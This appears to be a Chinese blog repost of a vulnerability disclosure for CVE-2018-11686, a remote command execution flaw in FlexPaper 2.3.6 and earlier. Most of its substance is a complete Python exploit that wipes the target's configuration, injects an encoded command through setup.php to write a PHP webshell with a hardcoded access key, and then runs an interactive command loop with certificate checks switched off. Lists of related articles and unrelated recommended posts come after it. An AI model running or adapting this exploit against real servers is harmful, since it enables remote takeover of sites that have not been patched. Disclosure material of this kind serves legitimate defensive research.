影响版本:小于FlexPaper 2.3.6的所有版本

FlexPaper (https://www.flowpaper.com)

  是一个开源项目,遵循GPL协议,在互联网上非常流行。它为web客户端、移动设备和平板设备提供文档的查看功能。至少在2014年之前,维基解密一直在广泛的使用该组件,漏洞产生的原因是受到一个XSS漏洞补丁的影响。

  Red Timmy Sec在FlexPaper上发现了一个远程命令执行漏洞。供应商立即联系并注册了CVE 2018-11686。尽管这个项目的2.3.7版本已经发布了一个补丁,但是这个漏洞本身直到现在仍然没有被公开。

  关于这个漏洞的详细情况请看:https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

  文末附Exp.

----------------

FlexPaper <=2.3.6 Remote Command Execution

FlexPaper (https://www.flowpaper.com) is an open source project, released under GPL license, quite widespread over the internet. It provides document viewing functionalities to web clients, mobile and tablet devices. At least until 2014 the component has been actively used by WikiLeaks, when it was discovered to be affected by a XSS vulnerability subsequently patched.

Around one year ago Red Timmy Sec discovered a Remote Command Execution vulnerability on FlexPaper. The vendor was immediately contacted and a CVE registered (2018-11686). However the vulnerability itself has remained undisclosed until now, regardless the fact that a patch has been issued with the release 2.3.7 of the project.

Full analysis of this vulnerability can be found here: https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

----------------

Exp(Exploit):

  1. #!/usr/bin/env python
  2. #Exploit Title: FlexPaper PHP Publish Service <= 2.3.6 RCE
  3. #Date: March 2019
  4. #Exploit Author: Red Timmy Security - redtimmysec.wordpress.com
  5. #Vendor Homepage: https://flowpaper.com/download/
  6. #Version: <= 2.3.6
  7. #Tested on: Linux/Unix
  8. #CVE : CVE-2018-11686
  9. #Disclamer: This exploit is for educational purpose only
  10. #More details on https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/
  11.  
  12. import sys
  13. import requests
  14. import readline
  15. import urllib2
  16. import ssl
  17.  
  18. try:
  19. url = sys.argv[1]
  20. except:
  21. print "[-] usage $python shredpaper.py http://targert.com/flexpaper/"
  22. print sys.exit(1)
  23.  
  24. print """
  25. __ __
  26. _____/ /_ ________ ____/ ____ ____ _____ ___ _____
  27. / ___/ __ \/ ___/ _ \/ __ / __ \/ __ `/ __ \/ _ \/ ___/
  28. (__ / / / / / / __/ /_/ / /_/ / /_/ / /_/ / __/ /
  29. /____/_/ /_/_/ \___/\__,_/ .___/\__,_/ .___/\___/_/
  30. /_/ /_/
  31. """
  32.  
  33. print "[*] FlexPaper <= 2.3.6 Remote Command Execution - Red Timmy Security)"
  34. print "[*] Attacking %s" %url
  35. print "[*] Deleting target configuration file"
  36. payload = (("SAVE_CONFIG",""),("PDF_Directory","/var/www/html/flex2.3.6/flexpaper/pdf"),("SWF_Directory","config/"),("LICENSEKEY",""),("splitmode",""),("RenderingOrder_PRIM","flash"),("RenderingOrder_SEC","html"))
  37. url1 = url+"/php/change_config.php"
  38. r1 = requests.post(url1, data=payload)
  39. rx = requests.post(url1, data=payload) #resend
  40. shellcode = "%69%64%3b%65%63%68%6f%20%50%44%39%77%61%48%41%4b%43%69%52%72%5a%58%6b%67%50%53%41%6b%58%30%64%46%56%46%73%6e%59%57%4e%6a%5a%58%4e%7a%4a%31%30%37%43%67%70%70%5a%69%67%6b%61%32%56%35%50%54%30%6e%4d%44%6b%34%4e%7a%63%7a%4e%7a%59%78%4d%54%59%30%4e%7a%49%33%4e%44%49%33%4f%44%51%7a%4d%6a%51%34%4d%6a%52%74%65%47%31%74%65%47%30%6e%4b%58%73%4b%43%67%6c%6c%59%32%68%76%49%48%4e%6f%5a%57%78%73%58%32%56%34%5a%57%4d%6f%59%6d%46%7a%5a%54%59%30%58%32%52%6c%59%32%39%6b%5a%53%67%6b%58%30%64%46%56%46%73%6e%59%32%31%6b%4a%31%30%70%4b%54%73%4b%43%6e%30%37%43%6a%38%2b%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%69%67%65%72%5f%73%68%65%6c%6c%2e%70%68%70%3b%69%64"
  41.  
  42. print "[*] Uploading webshell.."
  43. url2 = url+"/php/setup.php?step=2&PDF2SWF_PATH="+shellcode
  44. r2 = requests.get(url2)
  45. print "[*] Checking if shell is uploaded successfully"
  46.  
  47. webshell = url+ '/php/tiger_shell.php'
  48.  
  49. check_shell = requests.get(webshell)
  50. if check_shell.status_code == 200:
  51. print "[*] We got a shell"
  52. else:
  53. print "[-] Exploit failed, die"
  54. sys.exit(2)
  55. ctx = ssl.create_default_context()
  56. ctx.check_hostname = False
  57. ctx.verify_mode = ssl.CERT_NONE
  58. while True:
  59. cmd = raw_input("enter cmd>>")
  60. cmd = cmd.strip()
  61. cmd = cmd.encode('base64').strip().replace("\n","")
  62. link = url+"/php/tiger_shell.php?cmd=%s&access=09877376116472742784324824mxmmxm" %cmd.strip()
  63. #print link
  64. try:
  65. response = urllib2.urlopen(link, context=ctx)
  66. page = response.read()
  67. print page
  68. except Exception as exc:
  69. print exc
  70. continue

FlexPaper 2.3.6 远程命令执行漏洞 附Exp的更多相关文章

  1. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  2. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  3. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  4. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  5. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  6. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  7. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  8. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  9. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...

随机推荐

  1. 从Java的角度简单修复Cookie越权漏洞

    技术实在是有限,讲解cookie越权的时候可能有点简单和粗糙.这里就简单记录学习下. 首先自己写一段存在漏洞的代码code: sendCookie.java package cookie; impor ...

  2. Django(九)admin相关知识

    https://www.cnblogs.com/yuanchenqi/articles/6083427.htm https://www.cnblogs.com/haiyan123/p/8034430. ...

  3. 斯坦福大学公开课机器学习:machine learning system design | trading off precision and recall(F score公式的提出:学习算法中如何平衡(取舍)查准率和召回率的数值)

    一般来说,召回率和查准率的关系如下:1.如果需要很高的置信度的话,查准率会很高,相应的召回率很低:2.如果需要避免假阴性的话,召回率会很高,查准率会很低.下图右边显示的是召回率和查准率在一个学习算法中 ...

  4. 第六节,Neural Networks and Deep Learning 一书小节(下)

    4.神经网络可以计算任何函数的可视化证明 神经网络拥有一定的普遍性,即包含一个隐藏层的神经网络可以被用来按照任意给定的精度来近似任何连续函数. 这一章使用一个实例来阐述神经网络是如何来近似一个一元函数 ...

  5. Python基础语法总结

    1.Python标识符 在 Python 里,标识符有字母.数字.下划线组成. 在 Python 中,所有标识符可以包括英文.数字以及下划线(_),但不能以数字开头. Python 中的标识符是区分大 ...

  6. TODO java疑问

    TODOjava 疑惑-关于方法调用的参数是基本类型和引用类型的差别 class DataWrap { int a; int b; } public class ReferenceTransferTe ...

  7. 使用postman测试hystrix

    当在浏览器发送多次请求检测hystrix的作用时,我们可以使用postman来自动发送多次请求: 1.将链接保存到一个collection中 2.点击runner 3.设定运行次数

  8. Luogu P2617 Dynamic Rankings

    带修主席树的模板,因为状态不好所以敲了很长时间,不过写完感觉能更好地理解主席树了. 核心其实就是树状数组套主席树,维护方法不再是以前的那种一步一修改,而是对于树状数组上的每一个点建立一棵权值线段树,然 ...

  9. 字节缓冲流 BufferedOutputStream BufferedInputStream

    /*缓冲流:读取数据大量的文件时,读取的速度慢java提供了一套缓冲流 提高io流的效率 * */ package cn.lijun.demo; import java.io.BufferedInpu ...

  10. 黑苹果是否会成为mac电脑的竞争对手?

    最近黑科技技术大佬们都在传扬windows系统上安装mac系统,不用买mac电脑也可以使用mac一样的操作环境.什么是黑苹果?一起来看看如何在windows系统上安装mac系统. 更多专题,可关注小编 ...